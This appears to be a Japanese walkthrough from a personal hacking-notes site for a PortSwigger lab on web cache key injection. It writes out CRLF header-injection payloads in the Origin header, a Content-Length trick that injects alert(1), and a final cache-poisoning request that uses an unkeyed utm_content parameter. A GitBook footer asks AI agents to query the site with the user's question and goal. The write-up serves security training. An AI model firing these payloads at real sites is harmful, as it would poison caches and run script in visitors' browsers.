> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/cache-key-injection.md).

# キャッシュキーへの注入

キャッシュキーへの注入の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### キャッシュキー注入

### キャッシュキーへの注入

複数の脆弱性（以下を含む）を組み合わせる必要があります **キャッシュキー注入**）を実行するために **`alert(1)`** 被害者のブラウザ上で。ラボでは次のヘッダーの使用が必要です **`Pragma: x-get-cache-key`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a1acbb2d438aa7bece67036c8469117944898d1%2F%7BBB8AEC0B-2845-4707-92E0-E0EC29FFBE3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 偵察

1/) ログイン時の挙動

* 接続パネルがあります。
* ログイン後、次にリダイレクトされます **`/login/?lang=en`**.
* その後、セッションCookieが設定されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a931ab62b85905c663ead76ee92cf365cc591%2F%7BCFDA343D-18D9-4A4E-B201-AD2D2F448C34%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) の反映 `lang` パラメータ

* 私たちの入力は応答内に次の形で現れます `lang`:
* 例: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f28cdf50b4733c230a62e09dce3a6395f0ba559%2F%7B17906ACC-07FB-404C-A3F6-42BF0D0407C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

HTMLタグ（例： `<h1>`), **実行されません**：HTMLエンコードがあります\*\*。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60fad42f0ec8cc458181020f44e82c2045433331%2F%7B475BC26C-7E37-43FF-99FE-E6EA7448F512%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 実用上の侵入ポイント

非表示のJSファイル： `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

バックグラウンドにスクリプトがあることに気づきます：

* **`/js/localize.js?lang=en&CORS=0`**
* 観測された応答：
* `document.cookie = 'lang=en';`

これを変更すると `lang`、値が反映されます：

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` 応答に表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7743c4ea0cf45a253f8bd6de63e3cae9592ab5ce%2F%7B7FB44CFC-718B-41C9-8590-00A0B2841462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### キャッシュキーの観察

次を追加します：

```http
Pragma: x-get-cache-key
```

するとキーが得られます：

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8aabb24c2d9bcf343b42fb004c768a9b4572c8e3%2F%7B3354A351-D591-4D44-A0AB-4E95DDDAF7FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

〜であることがわかります `CORS` キーに影響し、さらに操作すると **Origin** + `CORS`、キャッシュに入る内容を変化させることができます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8811b02b819b929fa990224dc9f5335437a805ed%2F%7B6FB2F228-2C46-4DA5-81D4-9D3AF46409A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### バックカート経由のヘッダー注入

CRLFインジェクションを使用します：

* `%0d%0a`

```
man ascii
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cb0267ca2ecc00028d4a38ca763b4e3bcc27e1%2Fimage%20(3098).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 1) テスト：Cookie注入

次を送信します：

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

結果：Cookieは応答側で正しく解釈されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-163ad6f6a0e182eb18fa7ce90134fdf2259b9d77%2F%7B51717951-1BA3-466A-849A-AE795F6B5783%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作によるJavaScript注入 `Content-Length`

次に、次の内容でレスポンスへコンテンツを注入しようとします：

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

応答内に次を見つけます **`alert(1)`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f4dadb4419f9e798e6edd81836d7db4d6b84892%2F%7B66177E98-484A-472A-B58B-FADF52A67773%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 対象を絞った隠しレスポンスを構築する

サーバーにこのバージョン（を保存させる `alert(1)`）、 **キャッシュキー** は、注入した内容を含む形式と一致する必要があります `Origin`、たとえば：

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b27a41b9949dcdd648331b13506c94ade3d9fb49%2F%7BCE27C2CE-0BCC-4773-80C4-D26191AFA5A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 無視されるパラメータを利用した被害者側のオフセット

キャッシュで無視されるパラメータを探します（Param Minerで発見）：

* **`utm_content`**

キャッシュキーを再利用し、ペイロードを次に配置します `utm_content` 汚染されたリソースを配信させるために、訪問時に `lang=en`.

最終リクエスト（実際に使用したもの）：

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0bd7ade7e74687ff349fe8ff48548b416b6cb63%2F%7B8B884C36-3E90-4DDF-8249-3CA7DAAFB044%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

被害者がページを開くと **`/login/?lang=en`** （リダイレクト経由で）、汚染されたコンテンツがキャッシュから配信され、そして **`alert(1)`** 実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-688fd4eebedefee8f767ea116d0a28dad5ed05cf%2F%7BC2D5999F-6555-4179-B883-EC42FECE47B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/cache-key-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
